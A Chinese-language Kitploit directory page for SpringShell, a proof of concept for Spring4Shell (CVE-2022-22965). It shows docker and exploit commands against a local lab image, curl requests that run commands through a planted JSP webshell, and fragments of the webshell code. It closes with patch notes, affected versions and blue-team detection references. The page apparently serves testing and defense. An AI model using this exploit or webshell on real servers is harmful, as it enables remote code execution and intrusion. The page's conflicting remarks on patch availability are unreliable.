Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SpringShell — Spring4Shell - Spring Core 远程代码执行 - CVE-2022-22965 | Kitploit
工具/GitHubGitHub/thegejr/springshell
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubthegejr/springshell

SpringShell

Spring4Shell - Spring Core 远程代码执行 - CVE-2022-22965

查看仓库
131824年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Spring Core RCE - CVE-2022-22965

在 Spring Cloud 之后,2022年3月29日,Spring 的另一个重量级漏洞在互联网上爆发:Spring Core RCE

3月31日,Spring 发布了修复该漏洞的新版本。请参阅章节 补丁。

3月31日,该漏洞最终被分配了 CVE 编号,CVSS 评分为 9.8(严重)

概念验证

该漏洞利用非常简单,因此 CVSS 评分高达 9.8。

要测试该漏洞,可以执行以下操作。

启动一个存在漏洞的 Spring Docker 镜像。

root@kitploit:~
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

这将把存在漏洞的 Spring 绑定到地址 localhost:8082。

使用 curl 验证镜像是否正确启动。

root@kitploit:~
curl http://localhost:8082

应返回响应 ok。

现在开始利用存在漏洞的镜像!

root@kitploit:~
python3 exp.py --url http://localhost:8082

应返回响应 The vulnerability exists ....。

现在可以使用 curl 利用该漏洞。

root@kitploit:~
# 执行命令 whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami

# 响应已截断
root

//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........

# 执行命令 ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls

# 响应已截断
app
bin
dev
etc
..........

流传的编码 Poc

目前已经上传了漏洞利用工具 exp.py
流传的编码 Poc
尴尬局面

补丁

Spring 现已发布修复该 CVE 的新版本。请参阅 Spring 的公告。

修复该漏洞的提交

漏洞影响

  1. JDK 版本 9 及以上
  2. 使用了 Spring Framework 或其衍生框架

漏洞修复建议

目前 Spring 尚未官方发布补丁,建议降低 JDK 版本作为临时解决方案

蓝队

Yara

  • Florian Roth - Spring4Shell webshells

Sigma

  • Emanuele De Lucia - .jsp webshells 的创建

SPLUNK

  • Alex John - Splunk 检测 SPL
下载工具